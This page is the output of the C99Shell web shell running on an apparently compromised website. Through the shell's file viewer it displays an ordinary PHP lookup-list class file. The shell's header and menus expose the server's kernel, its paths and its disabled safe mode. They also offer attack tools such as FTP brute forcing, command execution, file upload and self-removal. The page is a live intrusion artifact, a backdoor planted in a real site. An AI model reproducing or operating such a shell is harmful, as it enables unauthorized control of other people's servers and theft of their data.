!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     listpage_lookup.php (14.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class ListPage_Lookup extends ListPage_Embed
{
    
/**
      * Field of link
      *
      * @var string
      */
    
var $linkField "";


    
/**
      * Select field of lookup
      *
      * @var string
      */
    
var $lookupSelectField "";

    
/**
      * Field customed
      *
      * @var string
      */
    
var $customField "";

    
/**
      * Field displayed
      *
      * @var string
      */
    
var $dispField "";

    var 
$dispFieldAlias "";

    var 
$lookupValuesArr = array();

    
/**
     * @type Array
     */
    
public $parentCtrlsData;

    
/**
     * The name of a table containing a lookup-field
     * @type String
     */
    
public $mainTable;

    
/**
     * The type of a page containing a lookup-field
     * @type String
     */
    
public $mainPageType;

    
/**
     * The lookup-field's
     * @type String
     */
    
public $mainField "";

    
/**
     * A  settings object for the table
     * containing the lookup field
     * @type ProjectSettings
     */
    
protected $mainPSet;

    public 
$mainRecordData;
    public 
$mainRecordMasterTable;

    public 
$mainContext;


    
/**
      * Constructor, set initial params
      *
      * @param array $params
      */
    
function __construct(&$params)
    {
        
// call parent constructor. always at the first line!!!
        
parent::__construct($params);
        
// init params
        
$this->initLookupParams();

        
$this->permis$this->tName ]["search"] = 1;
        
$this->jsSettings['tableSettings'][$this->tName]['permissions'] = $this->permis[$this->tName];

        
$this->isUseAjaxSuggest false;
    }

    
/**
     * Set the correct session prefix
     */
    
protected function assignSessionPrefix()
    {
        
$this->sessionPrefix $this->tName."_lookup_".$this->mainTable.'_'.$this->mainField;
    }

    
/**
     *
     */
    
function initLookupParams()
    {
        if( 
$this->mainPageType != PAGE_ADD && $this->mainPageType != PAGE_EDIT )
            
$this->mainPageType PAGE_SEARCH;

        
$this->mainPSet = new ProjectSettings($this->mainTable$this->mainPageType);

        
$this->linkField $this->mainPSet->getLinkField$this->mainField );
        
$this->dispField $this->mainPSet->getDisplayField$this->mainField );

        if( 
$this->mainPSet->getCustomDisplay$this->mainField ) )
        {
            
$this->dispFieldAlias generateAlias(); /*GetGlobalData("dispFieldAlias", "rrdf1")*/;

            
$this->customField $this->linkField;
        }

        
$this->outputFieldValue($this->linkField2);
        
$this->outputFieldValue($this->dispField2);

        if( 
$this->dispFieldAlias && $this->pSet->appearOnListPage$this->dispField ) )
            
$this->lookupSelectField $this->dispField;
        elseif( 
$this->pSet->appearOnListPage$this->dispField ) )
            
$this->lookupSelectField $this->dispField;
        else
            
$this->lookupSelectField $this->listFields[0]['fName'];

        
$this->mainContext $this->getMainContext();
    }

    
/**
     * The stub - ListPage Lookup no supported MasterTable
     */
    
function displayMasterTableInfo()
    {
    }

    
/**
     * The stub - ListPage Lookup no supported master-details mode
     */
    
function processMasterKeyValue()
    {
    }

    
/**
     * @return Array
     */
    
protected function getMainContext()
    {
        
$contextParams = array();

        
$contextParams["data"] = $this->mainRecordData;

        if ( 
$this->mainRecordMasterTable && isset($_SESSION$this->mainRecordMasterTable "_masterRecordData" ]) )
            
$contextParams["masterData"] = $_SESSION$this->mainRecordMasterTable "_masterRecordData" ];

        return 
$contextParams;
    }

    
/**
     * clear lookup session data, while loading at first time
     */
    
function clearLookupSessionData()
    {
        if(
$this->firstTime)
        {
            
$sessLookUpUnset = array();
            foreach(
$_SESSION as $key=>$value)
                if(
strpos($key"_lookup_")!== false)
                    
$sessLookUpUnset[] = $key;

            foreach(
$sessLookUpUnset as $key)
                unset(
$_SESSION[$key]);
        }
    }


    function 
addCommonJs()
    {
        
$this->controlsMap['dispFieldAlias'] = $this->dispFieldAlias;

        
$this->addControlsJSAndCSS();
        
$this->addButtonHandlers();
    }

    
/**
     *
     */
    
function addSpanVal($fName, &$data)
    {
        if (
$this->dispFieldAlias && @$this->arrFieldSpanVal[$fName] == 2)
            return 
"val=\"".runner_htmlspecialchars($data[$this->dispFieldAlias])."\" ";
        else
            return 
parent::addSpanVal($fName$data);
    }

    public function 
getOrderByClause()
    {
        
$userStartingSort false;
        if ( isset(
$_SESSION$this->sessionPrefix "_orderby" ]) )
        {
            
$userStartingSort true;
        }

        
$orderByField $this->mainPSet->getLookupOrderBy$this->mainField );
        if( !
$userStartingSort && strlen($orderByField) )
        {
            
$strOrder " ORDER BY ".$this->getFieldSQL$orderByField );
            if( 
$this->mainPSet->isLookupDesc$this->mainField ) )
                
$strOrder .= ' DESC';
        }
        else
            
$strOrder parent::getOrderByClause();

        return 
$strOrder;
    }

    
/**
     * Build and return SQL logical clause serving dependent dropdowns
     * "make='Ford'" or similar
     * @return String
     */
    
protected function getDependentDropdownFilter()
    {
        if( !
$this->mainPSet->useCategory$this->mainField ) )
            return 
"";

        
// add 1=0 if parent control contain empty value and no search used
        
if( $this->mainPageType != PAGE_SEARCH && !count($this->parentCtrlsData) )
        {
            return 
"1=0";
        }

        
$parentWhereParts = array();
        foreach( 
$this->mainPSet->getParentFieldsData$this->mainField ) as $cData )
        {
            if( !isset( 
$this->parentCtrlsData$cData["main"] ] ) )
                continue;

            
$parentFieldName $cData["lookup"];
            
$parentFieldValues splitvalues$this->parentCtrlsData$cData["main"] ] );

            
$arWhereClause = array();
            foreach(
$parentFieldValues as $value)
            {
                if( 
$this->cipherer != null )
                    
$lookupValue $this->cipherer->MakeDBValue($parentFieldName$value);
                else
                    
$lookupValue make_db_value($parentFieldName$value);

                
$arWhereClause[] = $this->getFieldSQLDecrypt($parentFieldName) . "=" $lookupValue;
            }

            if( 
count($arWhereClause) )
                
$parentWhereParts[] = "(".implode(" OR "$arWhereClause).")";
        }
        return 
"(".implode(" AND "$parentWhereParts).")";
    }

    protected function 
getCategoryFilter()
    {
        if( !
$this->mainPSet->useCategory$this->mainField ) )
            return 
null;

        
// add 1=0 if parent control contain empty value and no search used
        
if( $this->mainPageType != PAGE_SEARCH && !count($this->parentCtrlsData) )
        {
            return 
DataCondition::_False();
        }

        
$conditions = array();
        foreach( 
$this->mainPSet->getParentFieldsData$this->mainField ) as $cData )
        {
            if( !isset( 
$this->parentCtrlsData$cData["main"] ] ) )
                continue;

            
$conditions[] = LookupField::categoryCondition$this->mainPSet$cData["main"], $cData["lookup"], $this->parentCtrlsData$cData["main"] ] );
        }
        return 
DataCondition::_And$conditions );
    }

    public function 
getSubsetDataCommand() {

        
$dc parent::getSubsetDataCommand();
        if (
$this->dispFieldAlias)
            
$dc->extraColumns[] = new DsFieldData$this->dispField$this->dispFieldAlias"" );
        
$filters = array();
        
$filters[] = DataCondition::SQLCondition$this->getLookupWizardWhere() );
        
$filters[] = $this->getCategoryFilter();
        
$filters[] = $dc->filter;
        
$dc->filter DataCondition::_And$filters );

        return 
$dc;
    }

    protected function 
getSubsetSQLComponents()
    {
        
$sql parent::getSubsetSQLComponents();

        if (
$this->dispFieldAlias)
        {
            
$sql["sqlParts"]["head"] .= ", " $this->dispField." ";
            
$sql["sqlParts"]["head"] .= "as " $this->connection->addFieldWrappers($this->dispFieldAlias);
        }

        
$sql["mandatoryWhere"][] = $this->getLookupWizardWhere();

        
//    dependent dropdown filter
        
$sql["mandatoryWhere"][] = $this->getDependentDropdownFilter();

        return 
$sql;
    }

    
/**
     * @return String
     */
    
protected function getLookupWizardWhere()
    {
        
RunnerContext::push( new RunnerContextItemCONTEXT_ROW$this->mainContext ) );
        
$where prepareLookupWhere$this->mainField$this->mainPSet );
        
RunnerContext::pop();

        return 
$where;
    }

    
/**
     * Build a lookup's search panel
     */
    
function buildSearchPanel()
    {
        if( !
$this->permis$this->tName ]['search'] )
            return;

        
$params = array();
        
$params['pageObj'] = &$this;
        
$params['panelSearchFields'] = $this->panelSearchFields;
        
$this->searchPanel = new SearchPanelLookup($params);
        
$this->searchPanel->buildSearchPanel();
    }

    
/**
     *
     */
    
function addLookupVals()
    {
        
$this->controlsMap['lookupVals'] = $this->lookupValuesArr;
    }

    function 
fillGridData()
    {
        
parent::fillGridData();

        
$this->addLookupVals();

    }


    function 
fillCheckAttr(&$record,$data,$keyblock)
    {
        
$checkbox_attrs="name=\"selection[]\" value=\"".runner_htmlspecialchars(@$data[$this->linkField])."\" id=\"check".$this->recId."\"";
        
$record["checkbox"]=array("begin"=>"<input type='checkbox' ".$checkbox_attrs.">""data"=>array());
    }

    
/**
     * Name of function came from listpage class, but on listpage_lookup it used for collection link and display field data
     *
     * @param String type
     * @param Array &record
     * @param Array data (optional)
     */
    
function addSpansForGridCells($type, &$record$data null)
    {
        if(
$type == 'add')
        {
            
parent::addSpansForGridCells($type$record$data);
            return;
        }

        if(!
is_null($data))
        {
            if (
$this->dispFieldAlias)
                
$dispVal $data[$this->dispFieldAlias];
            else
                
$dispVal $data[$this->dispField];

            if (  
in_array$this->mainPSet->getViewFormat$this->mainField ), array(FORMAT_DATE_SHORTFORMAT_DATE_LONGFORMAT_DATE_TIME) ) )
            {
                
$viewContainer = new ViewControlsContainer$this->mainPSetPAGE_LISTnull );
                
$ctrlData = array();
                
$ctrlData$this->mainField ] = $data$this->linkField ];

                
$dispVal $viewContainer->getControl$this->mainField )->getTextValue$ctrlData );
            }

            
$this->lookupValuesArr[] = array('linkVal' => $data[$this->linkField], 'dispVal' => $dispVal);
        }
    }

    
/**
     *
     */
    
function proccessRecordValue(&$data, &$keylink$listFieldInfo)
    {
        
$value parent::proccessRecordValue($data$keylink$listFieldInfo);

        if (
$this->lookupSelectField == $listFieldInfo['fName'])
            
$value '<a href="#" data-ind="'.count$this->lookupValuesArr ).'" type="lookupSelect'.$this->id.'">'.$value."</a>";

        return 
$value;
    }

    
/**
     *
     */
    
function showPage()
    {
        
$this->BeforeShowList();

        if( !
$this->isPD() ) {

            if (
$this->mobileTemplateMode())
            {
                
$this->xt->assign("cancelbutton_block",true);
                
$this->xt->assign("searchform_block"true);
                
$this->xt->assign("searchform_showall"true);
                
$bricksExcept = array("grid_mobile""message""pagination""vmsearch2""cancelbutton_mobile");
            }
            else
            {
                
$bricksExcept = array("grid""message""pagination""vsearch1""vsearch2""search""recordcontrols_new""bsgrid_tabs");
                if( 
$this->isBootstrap() )
                {
                    
$bricksExcept[] = "add";
                    
$bricksExcept[] = "reorder_records";
                }
            }
        }
        if( 
$this->isPD() ) {
            
$this->hideAllFormItems'supertop' );
            
$this->showItemType'simple_search' );
            
$this->showItemType'simple_search_field' );
            
$this->showItemType'simple_search_option' );

            
$this->hideItemType('columns_control');
        } else {
            
$this->xt->hideAllBricksExcept($bricksExcept);
        }
        
$this->xt->prepare_template($this->templatefile);
        
$this->showPageAjax();
    }


    
/**
     * Display blocks after loaded template of page
     */
    
function showPageAjax()
    {
        
$lookupSearchControls $this->xt->fetch_loaded('searchform_text').$this->xt->fetch_loaded('searchform_search')
            .
$this->xt->fetch_loaded('searchform_showall');
        
$this->xt->assign("lookupSearchControls"$lookupSearchControls);

        
$this->addControlsJSAndCSS();
        
$this->fillSetCntrlMaps();

        
$returnJSON = array();
        global 
$pagesData;
        
$returnJSON["pagesData"] = $pagesData;
        
$returnJSON['controlsMap'] = $this->controlsHTMLMap;
        
$returnJSON['viewControlsMap'] = $this->viewControlsHTMLMap;
        
$returnJSON['settings'] = $this->jsSettings;
        
$this->xt->assign("header",false);
        
$this->xt->assign("footer",false);
        
// popup header shows PD items only

        
if( $this->isPD() ) {
            
$returnJSON["headerCont"] = '<h3 data-itemtype="lookupheader" data-itemid="lookupheader">' $this->getPageTitle$this->pageTypeGoodFieldName($this->tName) ) . "</h3>";
            
$returnJSON["html"] = $this->xt->fetch_loaded("supertop_block")
                . 
'<div class="r-popup-block">'
                    
'<div class="r-popup-data">'
                        
$this->xt->fetch_loaded("above-grid_block")
                        . 
$this->xt->fetch_loaded("grid_block")
                    . 
"</div>"
                
."</div>";

            
$returnJSON["footerCont"] = $this->xt->fetch_loaded("below-grid_block");
        } else {
            
$returnJSON["headerCont"] = '<h2 data-itemid="lookupheader">' $this->getPageTitle$this->pageTypeGoodFieldName($this->tName) ) . "</h2>";
            
$returnJSON["html"] = $this->xt->fetch_loaded("body");
        }

        
$returnJSON['idStartFrom'] = $this->flyId;
        
$returnJSON['success'] = true;

        
$returnJSON["additionalJS"] = $this->grabAllJsFiles();
        
$returnJSON["CSSFiles"] = $this->grabAllCSSFiles();

        echo 
printJSON($returnJSON);
    }

    
/**
     *
     */
    
function SecuritySQL$strAction )
    {
        
$strPerm GetUserPermissions$this->tName );
        if( 
strpos$strPerm"S" ) === false )
            
$strPerm .=  "S" ;

        return 
SecuritySQL($strAction$this->tName$strPerm);
    }

    function 
displayTabsInPage()
    {
        return 
true;
    }

    
/**
     * A stub
     */
    
function buildTotals(&$totals)
    {
    }

    
/**
     * Returns where clause for active master-detail relationship
     * @return string
     */
    
function getMasterTableSQLClause()
    {
        return 
"";
    }

    function 
deleteAvailable() {
        return 
false;
    }
    function 
importAvailable() {
        return 
false;
    }
    function 
editAvailable() {
        return 
false;
    }
    function 
addAvailable() {
        return 
false;
    }
    function 
copyAvailable() {
        return 
false;
    }
    function 
inlineAddAvailable() {
        return 
parent::inlineAddAvailable() && $this->mainPSet->isAllowToAdd$this->mainField );
    }
    function 
inlineEditAvailable() {
        return 
false;
    }
    function 
viewAvailable() {
        return 
false;
    }
    function 
exportAvailable() {
        return 
false;
    }
    function 
printAvailable() {
        return 
false;
    }
    function 
advSearchAvailable() {
        return 
false;
    }

    function 
detailsInGridAvailable()
    {
        return 
false;
    }

    function 
updateSelectedAvailable()
    {
        return 
false;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0026 ]--